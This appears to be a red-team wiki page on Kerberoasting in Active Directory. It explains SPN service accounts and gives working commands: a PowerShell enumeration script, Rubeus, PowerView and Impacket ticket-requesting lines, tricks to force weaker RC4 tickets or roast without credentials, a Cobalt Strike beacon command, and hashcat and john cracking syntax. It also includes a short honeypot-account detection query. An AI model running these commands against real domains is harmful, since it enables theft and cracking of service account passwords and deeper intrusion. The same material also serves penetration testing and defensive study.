Kerberoasting

Kerberoasting allows an attacker to perform an offline password-cracking attack against the Active Directory account associated with the service; Services run on a machine under the context of a user account. These accounts are either local to the machine (LocalSystem, LocalService, NetworkService) or are domain accounts (e.g. DOMAIN\mssql). A Service Principal Name (SPN) is a unique identifier of a service instance and are used with Kerberos to associate a service instance with a logon account, and are configured on the User Object in AD. These accounts are like machine accounts and can even have self-rotating passwords.

A common situation that occurs regarding SPN accounts consists in vendors that primarily focus on uptime tying SPNs to user accounts as they don't have to rotate passwords every 30 days. This is still OK if the user's password is strong but it's not best practice.

Part of the TGS returned by the KDC is encrypted with a secret derived from the password of the user account running that service. Kerberoasting is a technique for requesting TGS’ for services running under the context of domain accounts and cracking them offline to reveal their plaintext passwords.

A user can request a Service Ticket (ST) for all available services existing on the Active Directory environment and have those tickets encrypted with the secret of each service account in their possession.

To manually detect kerberoastable accounts (accounts with a non-empty SPN) we can use the following Powershell script

$search = New-Object DirectoryServices.DirectorySearcher([ADSI]"")
$search.filter = "(&(objectCategory=person)(objectClass=user)(servicePrincipalName=*))"
$results = $search.Findall()
foreach($result in $results)
{
    $userEntry = $result.GetDirectoryEntry()
    Write-host "User" 
    Write-Host $userEntry.name "(" $userEntry.distinguishedName ")"
        Write-host ""
    Write-host "SPNs"
    foreach($SPN in $userEntry.servicePrincipalName)
    {
        $SPN       
    }
    Write-host ""
    Write-host ""
}

Or use automated tools like PowerView

Import-Module .\PowerView.ps1
Get-DomainUser -SPN

Rubeus' kerberoast can be used to perform the kerberoasting; running it without further arguments will roast every account in the domain that has an SPN (excluding krbtgt).

Rubeus.exe kerberoast /simple /nowrap

[*] Total kerberoastable users : 3
...

We can roast an individual account the /user parameter.

Rubeus.exe kerberoast /user:otter /nowrap

We could use the /pwdsetafter and /pwdsetbefore arguments to Kerberoast accounts whose password was set within a particular date; this can be helpful to us, as sometimes we find legacy accounts with a password set many years ago that is outside of the current password policy and relatively easy to crack.

We can use the /stats flag to list statistics about Kerberoastable accounts without sending any ticket requests. This can be useful for gathering information and checking the types of encryption the account tickets use.

The /tgtdeleg flag can be useful for us in situations where we find accounts with the options This account supports Kerberos AES 128-bit encryption or This account supports Kerberos AES 256-bit encryption set, meaning that when we perform a Kerberoast attack, we will get a AES-128 (type 17) or AES-256 (type 18) TGS tickets back which can be significantly more difficult to crack than RC4 (type 23) tickets. We will know the difference because an RC4 encrypted ticket will return a hash that starts with the $krb5tgs$23$* prefix, while AES encrypted tickets will give us a hash that begins with $krb5tgs$18$*.

In cases where we receive the hash of the account with AES encryption (which is harder to crack), we can use /tgtdeleg flag with Rubeus to force RC4 encryption. This may work in some domains where RC4 is built-in as a failsafe for backward compatibility with older services. If successful, we may get a password hash that could crack minutes or even hours faster than if we were trying to crack an AES-encrypted hash.

Even though Rubeus does not include the krbtgt account, it can sometimes be cracked.

Other methods to kerberoast use PowerView and Impacket

Import-Module .\PowerView.ps1
Get-DomainUser * -SPN | Get-DomainSPNTicket -format Hashcat | export-csv .\tgs.csv -notypeinformation
# or
Import-Module .\PowerView.ps1
Invoke-Kerberoast
GetUserSPNs.py domain.com/otter

These hashes can be cracked offline to recover the plaintext passwords for the accounts. Use --format=krb5tgs --wordlist=wordlist hashes for john or -a 0 -m 13100 hashes wordlist for hashcat.

$ john --format=krb5tgs --wordlist=wordlist mssql_svc

I experienced some hash format incompatibility with john. Removing the SPN so it became: $krb5tgs$23$*otter$domain.com*$6A9E ... seemed to address the issue.

By default, Rubeus will roast every account that has an SPN. Honey Pot accounts can be configured with a "fake" SPN, which will generate a 4769 event when roasted. Since these events will never be generated for this service, it provides a high-fidelity indication of this attack.

event.code: 4769 and winlog.event_data.ServiceName: honey_svc

A much safer approach is to enumerate possible candidates first and roast them selectively. This LDAP query will find domain users who have an SPN set.

beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --search "(&(objectCategory=user)(servicePrincipalName=*))" --attributes cn,servicePrincipalName,samAccountName

Kerberoasting without an account password

Kerberoasting usually requires a valid set of domain credentials but it's possible to perform the technique even without credentials on an account with Kerberos pre-authentication enabled - we can use this account to use an AS-REQ request to request a TGS ticket for a Kerberoastable user.

To do this we need:

  • Username of an account with pre-authentication disabled (DONT_REQ_PREAUTH).

  • A target SPN or a list of SPNs.

First off, we need to create a fresh session, we can use Rubeus' createnetonly

Rubeus.exe createnetonly /program:cmd.exe /show

This session doesn't have any domain credentials so kerberoasting from here will fail but if we include a user with the DONT_REQ_PREAUTH attribute set and a valid SPN we can use the /nopreauth flag and successfully get a hash

Rubeus.exe kerberoast /nopreauth:otter /domain:domain.com /spn:MSSQLSvc/SQL01.domain.com:1433 /nowrap

To use a list of SPNs we use the /spns:list.txt argument

Last updated